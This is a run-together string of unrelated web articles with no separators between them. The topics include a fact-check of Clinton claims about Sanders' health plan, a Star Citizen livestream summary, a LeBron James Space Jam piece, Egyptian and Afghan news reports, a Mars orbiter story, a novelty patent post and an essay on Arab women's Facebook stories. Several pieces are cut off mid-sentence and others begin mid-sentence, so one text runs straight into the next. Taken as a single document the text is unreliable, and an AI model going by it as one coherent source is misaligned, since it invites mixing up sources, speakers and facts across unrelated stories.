The Health Security Standards Board would be charged with overseeing implementation of the law, including setting benefit levels and state/federal funding levels.
Each state would submit a proposal to the board for a “health security program” that would cover all residents, and states would be allowed to join together to create regional plans. The board could approve or reject the plans. And if a state refused to participate, the bill says, the board “shall develop a plan for a State health security program in such State.”
The Clinton camp’s implication that Sanders’ plan would turn over health insurance to the states to do whatever they wished is wrong. There are mechanisms in the law to control the state plans, and take over for a state that doesn’t develop such a plan, or develops one that’s considered subpar by the board.
The legislation spells out “consequences of failure to comply” saying that if a state plan doesn’t meet the board’s requirements “the Board shall provide notice to the State of such failure and that unless corrective action is taken within a period specified by the Board, the Board shall place the State health security program (or specific portions of such program) in receivership under the jurisdiction of the Board.”
Chelsea Clinton worried that “millions and millions and millions” would lose their health insurance. But Sanders’ bill includes provisions to stop that from happening.
How well that would work is of course an open question. Under the ACA, the federal government has stepped in to run most of what were supposed to be state-based insurance marketplaces, and 19 states haven’t expanded Medicaid under the law. But Sanders’ plan is different — a governor’s actions wouldn’t affect some of the states’ residents; they would affect all of them.
“Ultimately it’s hard to imagine governors undermining insurance – for everyone — literally from CEOs to janitors,” Larry Levitt, senior vice president of the Kaiser Family Foundation, told us in a phone interview.
What would be more likely is that governors would allow the federal government to administer their programs, he said. But there are plenty of unknowns about how a single-payer system would be implemented.
“A single-payer plan has never come very close to passing,” Levitt said, “so a lot of the details about how it would actually work have never been worked out.”
It would be a major change from the current insurance system in the country. “It would change everyone’s coverage from what they have today to a new state-sponsored insurance plan. And it would shift the financing dramatically from the premiums that individuals and employers pay today to a tax-based system,” Levitt said.
When we contacted the Clinton camp, the campaign raised the question of what states’ refusal to participate would do to the financing mechanisms or level of taxation of Sanders’ plan. The 2013 bill calls for a federal contribution for all states of 86 percent on a weighted-average, and for that federal contribution to be no less than 81 percent and no more than 91 percent.
If a state failed to participate — or didn’t develop an adequate plan — the federal government would have to make up the funding difference in some way. We asked the Sanders campaign how such a potential shortfall would be covered under his plan, and we did not receive a response.
In her Iowa campaign stop, Hillary Clinton called Sanders’ plan a “risky deal,” saying, “I don’t believe number one we should be starting over. We had enough of a fight to get to the Affordable Care Act. So I don’t want to rip it up and start over.”
She is entitled to that opinion. But her campaign has given misleading statements on what exactly Sanders has proposed, leaving the impression that he would cede control to governors and “dismantle” insurance coverage altogether.PM press conference was ‘fixed’ NORA CHOPRA 4th Jan 2014 The list of journalists allowed to ask the main questions in the first phase of Prime Minister Manmohan Singh's press conference was sent by the media department of the All India Congress Committee. This fix was set up by the AICC media secretary Tom Vaddakan and his boss Ajay Maken in association with Information and Broadcasting Minister Manish Tewari and Prime Minister's communications adviser Pankaj Pachauri. They even vetted the questions that the journalists asked. A very senior journalist from a Tamil Nadu paper was humiliated; he was told he would be invited, but when he went to collect his invitation, he learnt that it had not been cleared. His place was given to a Tamil journalist covering AICC. When some journalists protested, Pachauri told them they should have joined the queue in front of Tom Vaddakkan or him two days in advance and given them their questions. Please enable JavaScript to view the comments powered by Disqus. Joomla SEO powered by JoomSEFWatch Around the Verse, and check the Relay.sc homepage for the transcript!
Watch Around the Verse, and check the Relay.sc homepage for the transcript!
Happy Hour: February 3rd, 2017 Summary Written Friday 3rd of February 2017 at 12:14pm by CanadianSyrup It's time for Happy Hour! Todays guests are Ben Lesnick, Elwin Bachiller, and another guest streamer. Check it out As per usual, anything said during the show is subject to change by CIG and may not always be accurate at the time of posting. Also any mistakes you see that I may have missed, please let me know so I can correct them. Enjoy the show!
TL;DR (Too Long; Didn't Read)
Today's guests on the stream were Vehicle Artist, Elwin Bachiller JR, Director of Ships and Community Engagement, Ben Lesnick, QA Lead, Vincent Sinatra, and Community guest streamer, SGT Gamble.
The next ship for the concept sale will be the Hurricane, no details on when or specifics of the ship at this time.
The BMM's interior is being concepted by the artist who did the exterior. It hasn't entered the modelling phase yet due to concept work needed.
Elwin Bachiller is working on the Aurora Rework and showed off a progress picture of the work. Every Aurora owner will receive the updated Aurora as it replaces the previous one, the rework also includes variants as well.
Drake Buccaneer and Cutlass are coming along nicely.
No info on the Carrack or Freelancer variants.
No updated information or ETA on the Delta patcher. (Last known information was that Frankfurt were testing an early build of it)
Summary
On the show today is Ben Lesnick, Elwin Bachiller, Vincent Sinatra, and Community Streamer, SGT Gamble
Elwin Bachiller is currently working on the Aurora rework. They showed off a in progress picture of it. They're updating it to bring it up to the standards the current ships are at. Every Aurora owner will receive the new version, it's not a new model that has to be purchased. The rework is being done for all Aurora models as well.
[BMM]
Ben: It's not being modelled right now because it's undergoing the phase before that (Concept phase most likely to make sure the dimensions are correct, etc)
[What's the next ship for the concept sale?]
The next concept ship is the Hurricane and is being concepted by Justin Wentz
[With these new models, will folks ever be able to buy the old models?]
Ben: Not with the current updates. It's a 1:1 replacement for the ones being worked on now. In the future they absolutely want to have ships that age so they'll have the 2950, etc. The idea for updating ships is not just oh this would be cool, but it's for the game itself.
The damage model for example has changed so much that there's a certain point where you have to go, okay this is the benchmark and lets bring everything up to this standard.
[How was it to work on the Caterpillar Elwin?]
Elwin: It was a long endeavour. Many months of working on this big asset and seeing the work come together slowly to where it's now finished and in the game.
[Carrack]
Ben: No update right now, they know you want it.
Buccaneer is looking very cool, the Cutlass is coming along well. Drake is getting a lot of love right now. Elwin: There's a lot of ship stuff happening right now, but some they can't talk about it.
[Aurora MK2]
That doesn't exist, it may have been a conversation about making an updated model, but the rework isn't MK2, it's just the Aurora.
[What control method is the QA currently using?]
Saitek X52.
[What the heck is Jared wearing?]
It's apparently it's a poncho souvenir from PAX South.
[Progress on making the P52 Merlin deployable from the Constellation?]
On the Art and Animation side it's completed, but need the code to make it happen which is the same that is needed to make the Caterpillars command module detach. Item system 2.0 will enable that to happen.
[Redeemer flyable anytime soon?]
It has to be reworked completely before it can be flyable.
[Delta Patcher]
It's coming! They want it just as bad as you guys to, no ETA right now.
[What ships are being worked on now?]
Cutlass, Buccaneer, Aurora. U.K. is working on some really big ships in the U.K. Elwin says he knows about a small ship in production, but can't reveal it.
[Freelancer variants?]
Not being worked on right now
[With the flight model changes and the Cutlass rework happening, will the 2.6 flight model for it be indicative of how it will be after the rework is completed?]
No, because things can change depending on how feedback is.
[How is Spectrum deployment coming?]
It's in testing right now on the PTU, it's available to everyone on the PTU. It's being patched constantly and they're close to releasing it.
[Will there be weather in 3.0.]
That was answered yesterday in Around the Verse. There was Snow, Wind, etc for the procedural planets.
[Will CIG be at Gamescom this year?]
They haven't announced their plans this year yet, but stay tuned.
[Mustang rework?]
The Mustang will be getting updated. It's going to be a little challenge because they built all the variants as well with three separate artists and bringing them together to the same standard will take some time. It's not scheduled for the near future.
[Are there any other salvage ships?]
Ben: Can't talk about that right now
[Elwin, how long is the time from concept to greybox?]
It depends on the size of the ship. As an example the Caterpillar spent a month, month and a half to get one of the rooms from concept to finished. On big ships that's how it's down so that the other rooms take much less time, so other rooms in the Caterpillar took maybe four days. For a small ship it may take two months from concept to greybox and getting all the damage models rigged and animations done.
The Buccaneer has taken only a month and a half to go from concept to Greybox.
[Which ships will hold a Dragonfly?]
That's a TBD. They fit the Caterpillar because it was designed for it, but other ships is unknown unless you fit it ingame.
[What was the Vanduul ship at the end of ATV yesterday?]
The Vanduul Driller.
[Does the Command Module for the Caterpillar have hard points?]
It has three, one of the top and two on the front?
That's the end of Happy Hour. Vincent Sinatra subbed in for Tyler who isn't feeling well. Special streamer guest, SGT Gamble. Developers Ben Lesnick and Elwin Bachiller.
CanadianSyrup Director of Transcripts A polite Canadian who takes pride in making other peoples day brighter. He enjoys waffles with Maplesyrup, making delicious puns and striving for perfection in screaming at the T.V. during hockey games.
Please enable JavaScript to view the comments powered by Disqus.UPDATE (7/22/2015): Today LeBron James announced a partnership with Warner Bros., and as some media noticed, the studio filed new trademarks for Space Jam just last month, fueling speculation about a project in the works. In light of the news, we represent our case for the LeBron Space Jam reboot. We really hope it's happening.
This may bruise your ego, mere mortals, but it's true: LeBron James kills it in Trainwreck. The two-time NBA MVP's ace game extends from the court to comedy. In Judd Apatow and Amy Schumer's romantic comedy, LeBron plays himself... but also not. "Movie LeBron" is eccentric, cuddly, eloquent, overprotective, and frugal. His best friend is a scrawny physical therapist (Bill Hader). He is not the King of the World, nor an exhausted Olympiad trudging through post-game remarks. He's above the cue card-reading pawns seen in previous Apatow cameo parades. He acts. By the end of a scene in which James goes toe-to-toe with Hader over splitting a check—what, he should pick up the entire tab just because he's a millionaire celebrity?—it becomes clear that there's more to the athlete than hand-eye coordination. James is magnetic. Hollywood needs to figure out what to do with him next.
The athlete-to-movie star scorecard is full of hits and misses. Carl Weathers, Jim Brown, and Dick Butkus all pummeled their way through pro football to steady acting work. Derek Jeter teetered on the edge of a breakout after a one-two punch of Saturday Night Life and Will Ferrell's The Other Guys, but lacked follow through. The opposite is true for Shaquille O'Neal; the retired NBA center surprised in Blue Chips and failed upwards with his genie movie, Kazaam and his Superman riff, Steel. He'll soon appear in his own sitcom, because why not? Trainwreck is James' Blue Chips—easily leveraged with the right follow-up. The answer seems obvious to vocal fans and antsy producers alike. And for the first time since wishing Arrested Development back into existence, they might be right: James needs to make Space Jam 2.
Why does Space Jam hold a special place in anyone's heart? Seek out the nearest millennial. The live-action/animation hybrid that paired Michael Jordan and Warner Bros' animation characters, Space Jam was the epitome of preteen pop culture, a confluence of Jock Jams, Tazmanian Devil t-shirts, and sports idol worship. By 1996, a #23 Bulls jersey-clad Jordan was as iconic as any Saturday morning cartoon character (actually, he was a Saturday morning cartoon character). Jordan wasn't even playing the sport that made him famous when he filmed Space Jam, mounting a return to the NBA from minor league baseball. He only agreed to star in the picture after Warner Bros. built a gym inside the studio lot where he could play pick-up games between scenes. The role didn't demand too much—Daffy Duck and Bill Murray did the heavy-lifting—but the experience was surreal and empowering. A few years before the film's release, Sports Illustrated wrote that Jordan stood alone on a mountaintop, that he transcended sports. Clearly. There he was, hanging out with Bugs Fucking Bunny.
Space Jam earned $230 million around the world. Every kid saw the movie. R. Kelly's "I Believe I Can Fly" played on repeat in their brains. The WB cartoon ensemble thrived again. And as Jordan-mania faded, the Space Jam website soldiered on, inviting unsuspecting web crawlers to enter "Planet B-Ball" and "Jam Central." The Web 1.0 nightmare continues to garner coverage as it collects Internet dust, a constant reminder of an IP dying to be revived.
When 19-year-old LeBron James burst on to the NBA floors in 2003, comparisons to young Michael Jordan were immediate. His rise to fame turned claims into argument: who was better? After this year's NBA finals, Scott Raab, Esquire's resident LeBronotologist, acknowledged the James-Jordan debate, then waved it off. No question, Raab said: the Cavaliers' forward trumps Jordan. It's not a lone opinion. When fans root for James, they root for his star power and future. They see a legend. Warner Bros. built Space Jam entirely off Jordan's mythological presence. James is ready for the same engineering. Obvious, but clear.
There's validity to the nostalgic dream. During
a Twitter Q&A in 2012, James admitted to not only loving Space Jam but aspiring to star in a
sequel.
RT @Parletoo: @KingJames do you love space Jam?(I love that movie. Wish I could do Space Jam 2!) — LeBron James (@KingJames) August 26, 2012
Sports blogs flared like the sun. Everyone could picture it. Including Charlie Ebersol, son of former NBC Sports chairman Dick Ebersol, who announced in February 2014 that he was developing Space Jam 2 for James, then playing for the Miami Heat. The plan falls in line with a grander trend; the X-Files revival, Jurassic World, and the instantly forgettable Mark McGrath/Better Than Ezra/Uncle Kracker supergroup snowball a full-blown 1990s revival. LeBron James' |
tackle, and picked up more yardage. He was taken down at the 41-yard line, putting the Saints just one yard outside of Lutz career-long field goal distance of 57 yards.
31-Yard Run, 8:09 Remaining in Overtime Period
On the next play, the Saints lined up with Coleman and wide receiver Willie Snead split out to the left. Before the snap, Brees noticed that cornerback Bashaud Breeland (lined across from Coleman on the outside) came closer to the line, and motioned Coleman into the slot. Breeland followed, and Brees faked a hand-off to Line before tossing it to Ingram on a sweep to the left.
Most of the Redskins front-seven reacted to the fake to Line, and the Saints offensive line sealed off nearly all of them. Coleman picked up linebacker Ryan Kerrigan, and Snead managed to block cornerback Josh Norman while cutting off Swearinger. Ingram was untouched for the first 20 yards of this run, and cut inside to shake a tackle to pick up 11 more yards. Wil Lutz nailed the game-winning 26-yard field goal on the next play.
Ingram is on pace to finish 2017 with 1289 rushing yards and 12 touchdowns at 5.2 yards per carry; all potential career highs. New Orleans currently leads the NFL in yards per carry (4.8), rushing touchdowns (15), and ranks third in yards per game (144.0). While Both Ingram and Kamara deserve a lot of credit, these three plays really exemplify how dominant the Saint offensive line has been this season. They’re the reason why this type of rushing performance has become a weekly routine for New Orleans.
Main Image:
Embed from Getty ImagesThere's a reason the world has transitioned to HDTVs. It's not that there was anything wrong with the concept of the television, it's just that the old giant boxes that occupied so much space in our homes were entirely the wrong shape for the task at hand. A giant cube with an antenna is a design that begs to be portable in a way televisions never have been. That's why the form-factor needed to move into a new market, and that's what makes the Smart Cube such a good idea. Not only will this box make your camera smarter, it draws its inspiration from the true innovators that came before it.
Just look at it - this thing even has an antenna.
So what does the Smart Cube do? It's a device that plugs into DSLR cameras and extends their functionality. It provides them with a 3G or 4G connection, gives users the ability to edit photos without having to move them to a computer first, and offers the ability to access social media and cloud storage out of the box (see what I did there?). All of this is powered by Android 4.2.
The cube is the perfect shape for mobile technology. When you place a cube down, you know it won't roll away, and thanks to all of those corners, it's easy to hold on to. There's a reason Amazon ships things in boxes, and 9 out of 10 delivery men would agree that there's no better shape to hit the road with. Just look at this guy and ask yourself why no smartphone manufacturer thought of this first.
When you stumble across a piece of tech that's shaped like a cube, you know it's going to change things. The PlayStation 2 and the Xbox were both solid game consoles, but neither could shape up quite like the Gamecube. Sure, the Volkswagon Beetle is distinctive and the Smart Car is whimsical, but nothing turns heads quite like the Nissan Cube. If you want to leave a lasting impression, you make something box-shaped, and you make it big.
If you don't understand my enthusiasm for the Smart Cube, you wouldn't be the only one. A couple of co-workers around here think that the Smart Cube, put bluntly, is stupid and that my opinion is wrong. Perhaps they're right - or maybe something like this is simply too good to be true. Actually, the more I think about it, maybe we should all just go pick up the Samsung Galaxy NX instead. Well played, Samsung.
Oh, and read this.
Sources: The Smart Cube, Press ReleaseAn Egyptian court sentenced an icon of the country's 2011 revolt to five years in prison Monday, showing what critics said was authorities' determination to continue to stifle dissent despite the president's promises to release "wrongly jailed youths."
The verdict came in the retrial of well-known activist Alaa Abdel-Fattah, who earlier received a 15-year prison sentence for organizing an unauthorized protest and allegedly assaulting a police officer.
The courtroom erupted after the verdict, with those in the gallery shouting: "Down with oppression!" One man collapsed as Abdel-Fattah's family and friends wept and screamed: "Down with military rule!" Police ultimately ordered everyone to clear the courtroom.
Defense lawyer Mohammed Abdel-Aziz decried the verdict as "harsh and oppressive."
The court "didn't take into consideration any of the evidence that showed the defendants' innocence," he said.
Another rights lawyer on hand, Taher Abou el-Nasr, said: "Regrettably, the verdict was expected. We no longer expect acquittal."
Lawyers said they will appeal the ruling to Egypt's Court of Cassation, the country's highest appeals court.
An outspoken blogger, Abdel-Fattah has been in and out of prison in the years since the 2011 ouster of autocrat Hosni Mubarak. He campaigned against military trials for civilians during the 17 months that generals held power following Mubarak's resignation. He also opposed Muslim Brotherhood President Mohammed Morsi, whom the military overthrew in 2013.
The charges against him stem largely from a law prohibiting protests in Egypt without prior government permission, a measure that came after Morsi's overthrow. Activists and rights groups have criticized the law as a way to stifle all dissent.
Abdel-Fattah was accused of inciting an "unauthorized" demonstration on Nov. 26, 2013, against a clause allowing military trials for civilians in the draft of a new constitution, which was later adopted by referendum.
His younger sister, Sanaa, was sentenced in December on similar charges.
Earlier, Mona Seif, another of Abdel-Fattah's sisters and one of the organizers of the Nov. 26 protest, said her brother attended the demonstration but denied he had organized it, saying it was called for by a group that campaigns against military trials for civilians.
Police violently dispersed the demonstration on the grounds that organizers had no permit. Women protesting, including Seif, were detained by police and later dumped in the middle of the desert outside of Cairo that night.
Abdel-Fattah previously said his trial, which includes 19 other defendants and five people being tried in absentia, was a farce. He has been on a hunger strike.
Ahmed Abdel-Rahman, another defendant on trial with him, received a five-year sentence as well, and the others charged received three-year sentences.
The ruling comes a day after Egyptian President Abdel-Fattah el-Sisi promised to release youths wrongly arrested. He said that the coming few days would see the first tranche of youth released from detention.
The new measure is not expected to affect those on trial like Abdel-Fattah. However, some hope authorities will resolve the standoff between them and youth activists who were rounded up and locked in detention centers for marching in demonstrations against the government.
Rights group say that there are more than 20,000 people behind bars now in Egypt, most of them accused of affiliation with the banned Muslim Brotherhood.
Al Jazeera and The Associated PressIndia’s maiden spacecraft to Mars, Mangalyaan, has captured the image of Phobos, the larger and closer of the two natural satellites of the Red Planet.
Both moons of Mars were discovered in 1877. Phobos, a small, irregularly shaped object with a mean radius of 11km, is seven times larger than Mars' outer moon, Deimos.
“The larger of the two Martian moons, Phobos, is seen travelling west to east over Mars in its typical orbit. The images were taken from an altitude of 66,275km,” Indian Space Research Organisation (Isro) said on Facebook on Tuesday.
Did you see that? It moved! Oh, it's just Phobos. https://t.co/vaY7w5JjW0 — ISRO's Mars Orbiter (@MarsOrbiter) October 14, 2014
On October 7, Mangalyaan had sent a full disc image of Mars, taken by the Mars Color Camera, from an altitude of 66,543km.
The spacecraft had beamed its first photos of Mars’ crater-marked surface a day after India successfully put the probe into the Red Planet’s orbit.
Soon after, Isro had uploaded the regional dust storm activities over northern hemisphere of the Red Planet, captured by Mars Colour Camera. The image was taken from an altitude of 74,500km from the surface of Mars.
India joined an exclusive global club of deep space explorers on September 24 when the indigenously made spacecraft successfully slipped into the orbit around Mars after a 10-month journey on a relatively shoe-string budget.
Mangalyaan's scientific goals include using five solar-powered instruments to gather data that will help determine how Mars weather systems work and what happened to the water that is believed to have once existed on the planet in large quantities.
It will also search Mars for methane, a key chemical in life processes on Earth that could also come from geological processes.
First Published: Oct 14, 2014 18:35 ISTGet the latest news and videos for this game daily, no spam, no fuss.
2K Games today announced the release of Evolve: Hunters Quest, the companion app to its upcoming shooter Evolve. The app is available for free download on iOS, Android, Windows, and Amazon Fire devices.
Evolve: Hunters Quest is a puzzle combat game that requires players to match three tokens of the same colour in order to unleash attacks on enemies, fill up energy bars to activate special Hunter abilities, and earn mastery points to level up. Mastery points earned in-app can then be applied to characters in the main Evolve game on any platform. Players who download the app can also unlock unique game art and watch replays of online matches from a top-down view.
Devices running iOS which are compatible with the app include iPad 2, iPad mini, iPhone 4s, iPod 5 and up. Earlier generations of these devices will not be able to run the game.
Several paid DLC packs have already been announced for Evolve, a decision which developer Turtle Rock has defended against backlash. The recently concluded beta testing phase for Xbox One saw 2.2 million games played. Evolve will be released on February 10 for Xbox One, PlayStation 4, and PC.HaGaon HaRav Meir Mazuz Shlita, Rosh Yeshivas Kisei Rachamim has spoken out in the strongest terms about the Ashkenazi minhag of a yichud room following a chupah, a minhag not practiced by Sephardim. Rabbi Mazuz explains the practice of Sephardim is the correct way, as the yichud is at home following the chasenah.
The main points of his criticism include that it is incorrect by rabbonim who seek to compel Sephardim to agree to a yichud room for this is not correct for them. He laments that this practice at times becomes ‘pritzus’ as people are hanging outside the room timing how long the couple remains inside, most despicable and unacceptable. The rav further explains that the yichud compels the kallah to cover her hair, which many do not, hence a problem that was created as a result of the minhag.
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Last week, Florida Governor Rick Scott signed off on an executive order that requires that many state employees and job applicants submit to mandatory drug tests. He’s also pushing state legislators to pass a bill that would subject welfare recipients to drug testing as well. But legal experts warn that Scott’s heavy-handed measures may be unconstitutional. The Miami Herald reports:
[F]ederal courts generally have ruled that such policies violate the U.S. Constitution’s Fourth Amendment right against unreasonable searches, say attorneys and legal scholars. “You can’t do blanket tests like that. They’re facially unconstitutional,” said Ephraim Hess, a Davie attorney who prevailed over the City of Hollywood in April 2000 when U.S. District Court Judge Kenneth L. Ryskamp ruled that governments cannot require prospective employees to take drug tests unless there is a “special need,” such as safety.
Another federal court supported the ACLU in 2004, ruling that Florida had violated the Fourth Amendment by ordering random drug testing of all the agency’s employees. The ACLU now says that it’s prepared to represent any state employee who wants to challenge Scott’s new policy:
“The state of Florida cannot force people to surrender their constitutional rights in order to work for the state. Absent any evidence of illegal drug use, or assigned a safety-sensitive job, people have a right to be left alone,”” said Howard Simon, executive director of the ACLU of Florida. Simon said the ACLU would represent any state employee who would like to challenge the policy.
There’s one stakeholder, though, that could benefit from the governor’s new drug-testing push. As I reported last week, Scott’s own company, Solantic, conducts drug-testing for employers and employees alike and stands to profit from this proposal—among many others.You know it’s gonna be a cry-fest when the movie trailer alone makes you well up.
That’s the score with Gleason, a documentary about former New Orleans Saints player Steve Gleason, who was diagnosed with ALS (otherwise known as Lou Gehrig’s Disease) shortly after retiring from the NFL in 2008. Like a real-life version of the 1993 Michael Keaton drama My Life, Gleason began making videos for his unborn son, who would never know his dad before the disease’s harsh effects (including difficulty speaking and loss of motor skills) ravaged him.
Watch the inspirational trailer above and prepare yourself for possible waterworks.
On the field Gleason was best known for blocking a punt that was returned for a touchdown in New Orleans’s first home game back in the Superdome after the devastation of Hurricane Katrina. “Steve blocking the punt was the rebirth of something really, really big,” it’s explained in the trailer; the play has since been memorialized with a statue outside of the stadium.
Directed by Clay Tweel (the Yahoo Movies favorite Finder’s Keepers), Gleason had its emotional premiere at the Sundance Film Festival in January. It has since won audience awards at South by Southwest and the Seattle International Film Festival.
The film opens July 29.Afghan President Hamid Karzai sits among the audience prior to his nationally televised speech about the state of Afghan women in Kabul, Afghanistan, Sunday, March, 10, 2013. Karzai on Sunday accused the Taliban and the U.S. of working in concert to convince Afghans that violence will worsen if most foreign troops leave as planned by the end of next year. Karzai says two deadly suicide bombings on Saturday show the insurgent group is conducting attacks to help show that international forces will still be needed to keep the peace after their current combat mission ends in 2014. (AP Photo/Ahmad Jamshid)
KABUL, Afghanistan (AP) — Afghan President Hamid Karzai on Sunday accused the Taliban and the U.S. of working in concert to convince Afghans that violence will worsen if most foreign troops leave — an allegation the top American commander in Afghanistan rejected as "categorically false."
Karzai said two suicide bombings that killed 19 people on Saturday — one outside the Afghan Defense Ministry and the other near a police checkpoint in eastern Khost province — show the insurgent group is conducting attacks to demonstrate that international forces will still be needed to keep the peace after their current combat mission ends in 2014.
"The explosions in Kabul and Khost yesterday showed that they are at the service of America and at the service of this phrase: 2014. They are trying to frighten us into thinking that if the foreigners are not in Afghanistan, we would be facing these sorts of incidents," he said during a nationally televised speech about the state of Afghan women.
Karzai is known for making incendiary comments in his public speeches, a tactic that is often attributed to him trying to appeal to Taliban sympathizers or to gain leverage when he feels his international allies are ignoring his country's sovereignty. In previous speeches, he has threatened to join the Taliban and called his NATO allies occupiers who want to plunder Afghanistan's resources.
U.S. and NATO forces commander Gen. Joseph Dunford said Karzai had never expressed such views to him, but said it was understandable that tensions would arise as the coalition balances the need to complete its mission and the Afghans' move to exercise more sovereignty.
"We have fought too hard over the past 12 years, we have shed too much blood over the last 12 years, to ever think that violence or instability would be to our advantage," Dunford said.
The Karzai government's latest comments and actions come during U.S. Defense Secretary Chuck Hagel's first visit to Afghanistan since becoming the Pentagon chief, a trip made in part to meet with Karzai. Hours after Karzai's speech, their joint news conference was canceled by officials citing security concerns, though officials said the two men still planned to meet privately.
The two men had plenty of contentious issues to discuss. The Afghan and U.S. government are negotiating a security pact for the long-term presence of American forces in Afghanistan — the difficulty illustrated when a deal to transfer a U.S. prison outside of Kabul to Afghan authority on Saturday fell through at the last moment.
U.S. and Afghan officials are also at odds over a Karzai demand that U.S. special operations forces withdraw from a province neighboring Kabul by Monday over allegations they participated in torture and extrajudicial killing — charges U.S. officials deny. As the deadline approached, Dunford told reporters he spoke to Karzai about the issue on Saturday and told him the U.S. is working on a plan to hand over security in the Wardak region to Afghan forces. He would not directly say whether the commandos will stay in Wardak when the deadline to leave comes on Monday.
Karzai raised another difficult issue when he denounced the alleged seizure of a university student Saturday by Afghan forces his aide said were working for the CIA. It was unclear why the student was detained.
Presidential spokesman Aimal Faizi said in an interview with The Associated Press that the CIA freed the student after Karzai's staff intervened, but that Karzai wants the alleged Afghan raiders arrested. The president issued a decree on Sunday banning all international forces and the Afghans working with them from entering universities and schools without Afghan government permission.
The CIA declined to comment. NATO spokesman Lt. Col. Les Carroll said that no NATO forces "harassed a university student" as described by the President's office.
In the incident at the Kandahar university Saturday, presidential spokesman Faizi said the raiders fired shots as they grabbed student Abdul Qayoum, and blindfolded him before taking him for interrogation at a CIA post that Taliban leader Mullah Omar once used as a home.
The CIA has trained an Afghan counterterrorist force several thousand strong, known as the Counterterrorism Pursuit Team, which works mostly in insurgent strongholds in southern and eastern Afghanistan. U.S. officials say they work in concert with the Afghan intelligence service, but Karzai frequently complains he lacks oversight over their operations.Gerbil Shirt
US Patent Issued In 1999
Hey, are you tired of leaving your small pets at home when you are out and about? Could you use a little more quality time with your gerbils, mice, hamsters or snakes? Well now your dreams have come true with the Gerbil Shirt! The Gerbil Shirt wraps your torso in plastic tube passageways, making your bod a super highway of fun for Binky and Bart. The interior surfaces are textured for traction and have air vents for easy breathing.
The inventor suggests you can clean the Gerbil Shirt by attaching it to a faucet (remove pets first please), and you should avoid collisions and falls that could cause pet panic. We give two thumbs up to this living fashion accessory and we can't wait to see the toy poodle version!
P.S. For more absurd patents, don't forget to visit the Patently Absurd Inventions Archive...click here!Thousands of Arab women on Facebook are sharing, with heart-wrenching honesty, stories of female heroism that don’t always make headlines. Is a new Arab feminism emerging? And what about the new Arab man?
A week ago one of my Facebook friends added me to a group for Arab women. Oh no, I thought. Not another group. But, as usual, I couldn’t resist the feminist urge and went in to take a look.
I found stories of working Arab women of all ages from all over Israel: Muslim, Druze, and Christian, religious and less so, married and single; short, emotional stories along with simple reports, stories full of love and stories of disappointment, stories of crisis and stories of new starts.
In recent years tens of thousands of women have found a home for their stories on Facebook. On the pages of teachers, social workers, nurses, businesswomen, self-employed women, personal trainers, you can find posts about everything.
For instance, I stumbled upon the story of a young woman, Lamis, whose mother died in childbirth, and for her whole life has carried the name of the mother she never saw or embraced or looked in the eye. Lamis, who grew up with a physical disability, describes the difficulties she has faced since she was born prematurely, and the various stations of her life. Today she runs a program for youth with disabilities from the Arab community. The name of her program—“I can.”
A woman with a snake tattoo
Hanan, an amazing woman in her thirties, attached to her story a picture of her arm with a tattoo of a snake and a staff, the symbol of medicine, next to the words: “I promise to return there.” She started medical school, had a crisis, was in a serious accident that left her half paralyzed. She swore that if she got out of it she would go back to medical school and realize her dream. Over the years she worked as a first responder, got her bachelor’s degree, and now is finishing a masters in medical research. She gathered her strength and decided to make a U-turn in her career: to go back to medical school and the clinic she promised herself. She is in the midst of preparing for the big step.
I found women who left cushy jobs to fulfill childhood dreams. Fitness and healthy living trainers, a cycling trainer for women, a woman who left women’s organizations to go into styling and modern fashion design. But not all of the stories are heroic.
Marianna, a mother of four, wrote that she was engaged at 15 and did her matriculation exams while pregnant. “An underage marriage”: all of my red lights instantly started flashing. I almost fell into the judgment trap but I kept on reading and decided to contact her to better understand. She told me her husband was supportive, that he shared in her dreams and ambitions to study and work and did not simply “agree” to let her. He did everything contrary to the norms of his society to take care of the infant, who also got a new baby brother within a year and a half, and let his wife spread her wings.
“My husband ironed my clothes for college,” she wrote me in a late-night Facebook exchange. “I pumped milk during school, the house was a mess and sometimes all of the dishes were in the sink and there wasn’t a single clean teaspoon. I finished my degree magna cum laude and by the time I finished my masters I had two more children. Now it is time for me to go to work and my husband will continue his Islam and sharia studies. After all, he is an imam in a mosque.”
An imam? I asked. “Yes. He is a very religious man, true and honest. He treats me according to his belief and religious law. In Islam there is no limit to ambition and he very much supports my doing anything that makes me happy and satisfied. You know, he came to my three graduations: high school, bachelors and masters degrees. That’s not something you hear very often,” she laughed.
Maybe I would have rather read the story without the wedding during high school exams, but who am I to judge the heart of a girl who knows what she wants out of life.
More and more women are sharing their stories of female heroism online with stirring honesty. These are not stories that make the headlines, but they give the women who read them power, faith, and support. In the diverse ecosystem called Facebook you can find women working in all areas, pursuing their dreams and successes and self-realizations.
Who needs a Hollywood movie like “Wonder Woman” about a woman overcoming fate, breaking barriers, and shattering glass and concrete ceilings alike, when these women are right here on Facebook, very close to every young Arab woman or girl who is starting out in life?
Change your glasses
I have been working with Arab women for 20 years. I was and still am a witness to the quiet revolution that each woman is leading in her natural environment. A little change here, another challenge there, step by step, one woman at a time, bringing all of us and our society to a better and stronger place.
Some of us were lucky enough to have encouraging and motivating parents. Some of us have dealt with orphanhood, violence, various injustices and traumas. Some of us are surviving physical, sexual or psychological abuse. Some of the women are swimming all alone against the current, but most of us had at least someone who believed in us. Arab women, like all other people in the world, sometimes need nothing more than a single sympathetic figure to succeed, along with a strong desire to move forward.
I tried to understand why I was so moved and excited by this phenomenon. Are these tens of thousands of strong, working, independent and powerful women the exception? Who made the rules anyway?
I reached the conclusion that my excitement was partly about the incredible number of success stories of women – a really empowering experience as a feminist. At the same time, it only goes to show that even I, the supposedly “enlightened Palestinian woman,” still look at the lives of women in my community through a foreign lens. It’s time to change lenses.
The “normal” course of women’s development in Arab society has been stuffed into a Western framework in which there is an order of stages in life: school, boyfriend, work, relationship, career, self-realization. Therefore I read any story that disrupts the normal sequence as an exception and think of it as “impressive.” Especially if it has a happy ending. After all, she succeeded against all odds, even though she is an Arab woman, from a village in the north or a tribe in the south, with a hijab, who grew up in a traditional, religious family, married young, had a lot of children, and overcame many other “barriers” that exist mostly in our heads.
Many of the women who shared their stories did not embark on the classical Western track of personal development in the world. They simply began at a different point, sometimes by choice and sometimes because they had no choice. It turns out that instead of finishing high school, going to university, working, and then starting a family – Arab women, at least most of them, have a slightly different trajectory where relationship and sexuality are associated with family and the institution of marriage. They are not busy changing the equation but moving forward despite it. Violating the rules and disrupting the order of things will come from the inside and at a later stage of life.
I myself married at 20 and became a mother at 21 without ever thinking about the consequences it would have on my studies and career. Many years went by before I discovered it might have been possible to have chosen a different path. What is certain is that social norms in the Arab community are constantly changing, mainly thanks to the tens of thousands of Arab women who do not give up on themselves.
The new Arab man
